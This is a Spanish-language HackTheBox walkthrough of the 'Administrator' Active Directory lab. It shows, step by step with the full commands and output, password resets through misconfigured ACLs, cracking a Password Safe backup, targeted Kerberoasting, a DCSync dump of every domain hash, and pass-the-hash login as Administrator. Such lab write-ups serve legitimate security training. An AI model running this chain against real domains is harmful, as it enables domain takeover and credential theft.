Administrator – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Administrator” es una máquina de dificultad Media de la plataforma HackTheBox
. Se nos dan credenciales para comenzar esta máquina. La cuenta que se nos da tiene el permiso GenericAll
sobre un primer usuario; lo que nos permite cambiar la contraseña para este primer usuario e impersonarlo. Una vez como este primer usuario, encontramos que también podemos cambiar la contraseña, ya como este primer usuario, de un segundo usuario. Volvemos a cambiar la contraseña de este segundo usuario y ganar acceso a éste. Este segundo usuario tiene acceso a recursos a través de un servicio FTP
corriendo en la máquina víctima, el cual contenía un archivo de Password Safe
cuyo hash pudimos extraer y crackear; impersonando así a un tercer usuario. Este tercer usuario tiene permisos GenericWrite
sobre un cuarto usuario, lo que nos permite hacer a este cuarto usuario temporalmente Kerberoasteable
, extraer su hash y crackearlo. Este cuarto usuario puede performar un ataque DCSync
sobre el dominio, lo que nos permite extraer el hash NT
del usuario Administrator
y ganar control total del dominio.
User / Usuario Link to heading
Olivia:ichliebedich
Empezamos con un rápido escaneo con Nmap
revisando puertos TCP
abiertos:
❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.10.11.42
Aplicamos algunos scripts de reconocimiento sobre estos peurtos usando la flag -sVC
:
❯ sudo nmap -sVC -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,59777,59788,59793,59796,59812,62325 10.10.11.42
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 21:56 -03
Nmap scan report for 10.10.11.42
Host is up (0.34s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-12 07:56:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
59777/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
59788/tcp open msrpc Microsoft Windows RPC
59793/tcp open msrpc Microsoft Windows RPC
59796/tcp open msrpc Microsoft Windows RPC
59812/tcp open msrpc Microsoft Windows RPC
62325/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m05s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-11-12T07:57:47
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.69 seconds
Entre los puertos abiertos encontramos: 21
File Transfer Protocol
(FTP
), 53
DNS
, 88
Kerberos
, 135
Microsoft RPC
, 389
LDAP
, 445
SMB
, 5985
WinRM
; entre otro. Estos servicios nos hacen pensar que estamos ante un entorno de Active Directory
.
Podemos obtener información acerca del servicio SMB
usando la herramienta NetExec
con la credencial dada:
❯ nxc smb 10.10.11.42 -u 'Olivia' -p 'ichliebedich'
SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [+] administrator.htb\Olivia:ichliebedich
Podemos ver un dominio: administrator.htb
y el nombre de máquina DC
. Por ende, agregamos estos nombres (junto con el FQDN
DC.administrator.htb
) a nuestro archivo /etc/hosts
:
❯ echo '10.10.11.42 DC administrator.htb DC.administrator.htb' | sudo tee -a /etc/hosts
Podemos intentar, por ejemplo, extraer usuarios del dominio usando el servicio Microsoft RPC
junto con rpcclient
:
❯ rpcclient -U "olivia%ichliebedich" 10.10.11.42 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}'
Administrator
Guest
krbtgt
olivia
michael
benjamin
emily
ethan
alexander
emma
Pero ninguno de estos usuarios es, por ejemplo, Kerberosteable
. Por lo que no podemos extraer sus hashes.
En este punto dedicimos extraer información acerca del dominio utilizando la herramienta bloodhound-python
y las credenciales dadas en un inicio:
❯ bloodhound-python -c ALL -u 'olivia' -p 'ichliebedich' -d administrator.htb -ns 10.10.11.42 --zip
INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 54S
Esto guardará un mapeo del dominio en un archivo .zip
.
Subimos el archivo .zip
generado a Bloodhound
(más específicamente, a su Community Edition). Una vez subido, buscamos por el usuario olivia
y, en la parte derecha, clickeamos en Outbound Object Control
para ver potenciales permisos sobre otros usuarios; obteniendo así:
Tenemos el permiso GenericAll
sobre el usuario michael
.
Una de las cosas que podemos hacer es tratar de cambiar la contraseña del usuario michael
, dado que esta es una de las acciones que el permiso GenericAll
nos permite hacer. No obstante, esto no lo recomiendo en entornos reales, sino que en entornos reales recomiendo más tratar de performar un ataque Shadow Credentials
para extraer el hash NT
del usuario.
Para cambiar la contraseña de el usuario objetivo podemos usar la herramienta impacket-changepasswd
:
❯ impacket-changepasswd ADMINISTRATOR.HTB/michael@10.10.11.42 -newpass 'gunzf0x123$!' -altuser 'olivia' -altpass 'ichliebedich' -no-pass -reset
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Setting the password of ADMINISTRATOR.HTB\michael as ADMINISTRATOR.HTB\olivia
[*] Connecting to DCE/RPC as ADMINISTRATOR.HTB\olivia
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
Donde hemos cambiado la contraseña del usuario michael
a gunzf0x123$!
.
Corroboramos si la contraseña de este usuario ha sido cambiada exitosamente usando la herramienta NetExec
:
❯ nxc smb 10.10.11.42 -u 'michael' -p 'gunzf0x123$!'
SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [+] administrator.htb\michael:gunzf0x123$!
Funciona. Hemos cambiado la contraseña con éxito.
De vuelta a Bloodhound
, buscando qué es lo que puede realizar el usuario michael
nos entrega esta vez:
Tenemos el derecho ForceChangePassword
sobre el usuario benjamin
; lo que significa que nuevamente podemos cambiar la contraseña de este usuario.
De manera similar a como hicimos anteriormente, cambiamos la contraseña de este usuario usando impacket-changepasswd
, pero esta vez usando las credenciales del usuario michael
:
❯ impacket-changepasswd ADMINISTRATOR.HTB/benjamin@10.10.11.42 -newpass 'gunzf0x123$!' -altuser 'michael' -altpass 'gunzf0x123$!' -no-pass -reset
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Setting the password of ADMINISTRATOR.HTB\benjamin as ADMINISTRATOR.HTB\michael
[*] Connecting to DCE/RPC as ADMINISTRATOR.HTB\michael
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
❯ nxc smb 10.10.11.42 -u 'benjamin' -p 'gunzf0x123$!'
SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [+] administrator.htb\benjamin:gunzf0x123$!
Hemos cambiado exitosamente la contraseña del usuario benjamin
.
Volvemos a Bloodhound
para ver qué es lo que puede realizar de nuevo este usuario, pero no vemos privilegios nuevos (dado que no tenemos opciones en Outbound Object Control
). Es entonces que buscamos por los grupos a los cuales este usuario pertenece. Entre ellos tenemos:
Es parte del grupo Share Moderators
, pero nada más allá de eso.
En este punto recordamos que el servicio FTP
estaba corriendo en la máquina víctima. Si previamente nos tratábamos de autenticar ante este servicio como, por ejemplo, el usuario michael
obteníamos:
❯ ftp 10.10.11.42
Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:gunzf0x): michael
331 Password required
Password:
530
No podemos acceder. El usuario olivia
tampoco puede acceder.
Pero como el usuario benjamin
sí podemos acceder:
❯ ftp 10.10.11.42
Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:gunzf0x): benjamin
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>
Enumerando qué recursos tenemos en este servicio podemos ver un archivo con extensión .psafe3
. Lo descargamos:
ftp> ls
229 Entering Extended Passive Mode (|||55850|)
125 Data connection already open; Transfer starting.
10-05-24 08:13AM 952 Backup.psafe3
226 Transfer complete.
ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||55851|)
125 Data connection already open; Transfer starting.
100% |******************************************************************************************************************************| 952 1.99 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (1.32 KiB/s)
ftp>
Buscando qué es la extensión .psafe3
nos lleva a un software llamado Password Safe
:
Password Safe
is a free, open-source program that helps users manage their passwords.Adicionalmente, encontramos esta documentación para JohnTheRipper la cual, afortunadamente, dice que tiene soporte para pasar archivos en formato .psafe3
a un formato crackeable con el comando pwsafe2john
. Por lo que usamos este comando:
❯ pwsafe2john Backup.psafe3 > hash_backup
y tratamos de crackear el hash extraído usando john
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_backup
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho (Backu)
1g 0:00:00:00 DONE (2024-11-12 00:19) 3.030g/s 15515p/s 15515c/s 15515C/s 123456..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tenemos una contraseña: tekieromucho
.
Podemos así instalar Password Safe
para ver el contendio del archivo .psafe3
. Basados en su repositorio oficial, éste nos redirige a una página de SourceForge.net donde dicen que podemos instalar la herramienta ejecutando sudo apt install passwordsafe
. Una vez instalado, abrimos el archivo extraído pasando la contraseña crackeada para ver su contenido:
❯ pwsafe Backup.psafe3 &> /dev/null & disown
Se nos abre una nueva ventana:
Haciendo doble click en el nombre de un usuario nos copia su contraseña en nuestro clipboard. Podemos guardar todas las contraseñas halladas en un archivo que llamamos passwords_in_backup.txt
; cuyo contenido es de 3 contraseñas:
❯ cat passwords_in_backup.txt
UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
UXLCI5iETUsIBoFVTj8yQFKoHjXmb
WwANQWnmJnGV07WQN8bMS7FMAbjNur
Donde, de arriba a abajo, estas contraseñas pertenecen a los usuarios alexander
, emily
y emma
, respectivamente.
Revisamos si estas credenciales son correctas con NetExec
. Eventualmente, sólo una de estas combinaciónes funciona; para el usuario emily
en específico:
❯ nxc smb 10.10.11.42 -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
De vuelta a Bloodhound
, podemos revisar qué es lo que puede realizar este tercer usuario. Este nuevo usuario tiene permisos GenericWrite
sobre el usuario ethan
:
Un pequeño paréntesis, el usuario emily
es parte del grupo Remote Management Users
, por lo que este usuario debería de poder acceder a la máquina víctima a través del servicio WinRM
. Esto lo corroboramos con NetExec
nuevamente:
❯ nxc winrm 10.10.11.42 -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
WINRM 10.10.11.42 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
WINRM 10.10.11.42 5985 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb (Pwn3d!)
Pero en mi caso no lo requiero. La máquina se puede completar sin necesidad de entrar en ella.
Dado que tenemos el permiso GenericWrite
sobre el usuario ethan
podemos usar el script targetedKerberoast.py
(el cual puede ser descargado desde su repositorio de Github) luego de instalarlo en un entorno virtual. Lo que este script hace es convertir temporalmente un usuario en un usuario vulnerable a Kerberoasting
(no requiere pre-autenticación con Kerberos
); y luego de extraer el hash del usuario víctima el script vuelve a dejar al usuario en su estado original. Sin embargo, al ejecutarlo tenemos un pequeño problema:
❯ sudo ntpdate -s 10.10.11.42 && python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --dc-ip 10.10.11.42 --request-user ethan
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[!] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Traceback (most recent call last):
File "/home/gunzf0x/HTB/HTBMachines/Medium/Administrator/exploits/targetedKerberoast/targetedKerberoast.py", line 593, in main
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=userName, password=args.auth_password, domain=args.auth_domain, lmhash=None, nthash=auth_nt_hash,
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/gunzf0x/HTB/HTBMachines/Medium/Administrator/exploits/targetedKerberoast/.venv_targeted/lib/python3.12/site-packages/impacket/krb5/kerberosv5.py", line 323, in getKerberosTGT
tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/gunzf0x/HTB/HTBMachines/Medium/Administrator/exploits/targetedKerberoast/.venv_targeted/lib/python3.12/site-packages/impacket/krb5/kerberosv5.py", line 93, in sendReceive
raise krbError
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Nuestro viejo amigo y error KRB_AP_ERR_SKEW(Clock skew too great)
está de vuelta.
Por tanto, corremos un loop infinito en Bash
el cual ejecuta el comando anterior hasta que el error ya no esté presente:
❯ while true; do sudo ntpdate -s 10.10.11.42; output=$(python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --dc-ip 10.10.11.42 --request-user 'ethan'); echo "$output"; echo "$output" | grep -q "KRB_AP_ERR_SKEW" && { echo "[-] Detected clock skew error, retrying..."; } || { echo "[+] Commands succeeded, stopping the loop."; break; }; done
<SNIP>
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[!] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Detected clock skew error, retrying...
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$03d1fbdf05d6877b19eb298d86629491$4acb458c915618688433360e6389118ab925431d6f0dc0146c85a1b24efdea1998435383199e2b7c15f1d351d944be301e833eaab8c074751327bf8575b26f9357df92a964501c5ef2726a9c0a7a53ed22dd160f18684d2a04b620dca0f45213b9a8e1109d7bc2f06d714732110a565cfe53f1becf14a65a108c8e0535ba1ad8c030825513508980e96725164dd1425523771ee6f1e0786abaa34f2a111f080bcfdce57dcf373ebdc38e711b6b2561ff1e7088802e74a13e04b4b5ed947117a7ac673ab56c9d23b3bf30cb84516c9ac5286505474f83d0093c0a04c249f8df7fe2d161df58a1bd011f1df96fa35bec3d5e2ad97c54edfee6bbc92c0d19aa63da155edacf306fe8ae4982706e11f6928c4a6d01b61dc10202bdbb7b13f55e68cd77ea6e84a0f41fe85ae6989d105ba24720b9b7798bc9069fda3fbb3a908664e0d911c21eb3b08b70f7caae952b0660ceb315b1bbd56bb603ad32ada67e7ffe1044cf546960b55d395f4f926b601d6adcddce39c83d4010b03a784190d0919829c0a0feaf3c41cb95db1c10dfabb5853151ecdaa696ab7d9f019e7a0208f8d15ea4382a3591cf106db5e16a869fa6c75ee73fc971ea75b31897b5c097d1df3f9bbf1451d31c7738a6e6916acd2666a9d7064181c1fb5b7ffa12ab48f080a2db4cfa0c5c56a0636e0cc58c7ac1f48eca0b70b9e45e8289b568e88b34618fe73c6a53ae71b2a7f447f59530a8c5b660b89bc5508f785ef80797d7e782367efaf36672a7d3085a17eca13167a38b79611a5867f465f031a3179b5b7f189daddec48703dcda6c02fbb15cf66da3871516e820d5985f5f81cfeb6cebc6581bf177661306dfa8ade022e963ccf40ae4a8ff1a3ca2cb733361ac7d8a307ecc85a933e83edec4817addba0da410f17273f0520e68a3908de1b87cd20475062b66cfa7b1995f7e54de0a70ad36f4df9664bc31643a68fcd10bc0971bd6f04cb7c6473c47918697adf671a63ce741e82675fddcb02b3be7d2db81e05dd8a0acd583c3e7c53f09582ab704b886e55380cc088efe3ce2cb5a8ad28e76d8703f6655d0123e6366952d6a675ef3e0b645eb730d1b70d743c4cee37c09fcf626c5e3dcc2a2a0ec1f36b7afa75e520de67e4b66f08af6cce5c404769ffe32f76376d2a5b72b6d84b0eee4399330a36c0ae5e1041d192bacc8874d2f6e09daa9a26e9ca19dbe55dc26b17e19356f1a07f9ec6b22a4ed23eb080b85b7051fd4d1f8fd475400be9ad36883d96742b0e21a80335e7a97aa4d17c16b5a7d2d32962dad8d6f0f2c1e29ac4136c00606935542192d0795aaa4baf5747012ce8907f260c31c0c2efe3d7cf9baf11d32602b561db834a7f8053ae53d447ac09eb4dd2059bd4e3abbba76062865b57c1e8166f93355e8b0b9c6d754148e30bee42128cc62e41df041b4dc0320c568c0c74aa894cacd56f62e5240c73227addc64128c86fa318fc89ea31af7a4f5f22c75c239dd2fff9168c91b04b7075cd1c53be4f301050ba847712f1df8ba
[+] Commands succeeded, stopping the loop.
Obtenemos un hash.
Guardamos este nuevo hash en un archivo llamado ethan_hash
y lo tratamos nuevamente de crackear con john
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt ethan_hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
limpbizkit (?)
1g 0:00:00:00 DONE (2024-11-12 01:53) 8.333g/s 42666p/s 42666c/s 42666C/s cheska..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña limpbizkit
para el usuario ethan
.
Revisamos, como es usual, si esta contraseña es válida con NetExec
:
❯ nxc smb 10.10.11.42 -u 'ethan' -p 'limpbizkit'
SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [+] administrator.htb\ethan:limpbizkit
Tenemos credenciales válidas para el usuario ethan
.
Finalmente, de vuelta a nuestra consola con Bloodhound
, revisamos qué es lo que puede realizar el usuario ethan
:
Básicamente, este usuario nos permite realizar un ataque DCSync
, lo cual nos permite extraer todos los hashes del dominio.
Para ello usamos la herramienta impacket-secretsdump
para extraer todos los hashes de la máquina DC
:
❯ impacket-secretsdump ethan:'limpbizkit'@DC.administrator.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:2bce12d81490fd8721eab9d3c9dc14d7:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:2bce12d81490fd8721eab9d3c9dc14d7:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
<SNIP>
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...
Obtenemos los hashes NTLM
para todos los usuarios del dominio, incluyendo los privilegiados.
Revisamos si el hash NT
extraído para el usuario Administrator
funciona:
❯ nxc smb 10.10.11.42 -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e'
SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [+] administrator.htb\Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e (Pwn3d!)
Funciona. GG.
Dado que el servicio WinRM
estaba corriendo en la máquina víctima, podemos usarlo para conectarnos a través de éste como el usuario Administrator
junto con la herramienta evil-winrm
:
❯ evil-winrm -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e' -i 10.10.11.42
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Podemos obtener la flag de usuario en el Desktop del usuario emily
y la flag de root
en el Desktop del usuario Administrator
.
~Happy Hacking.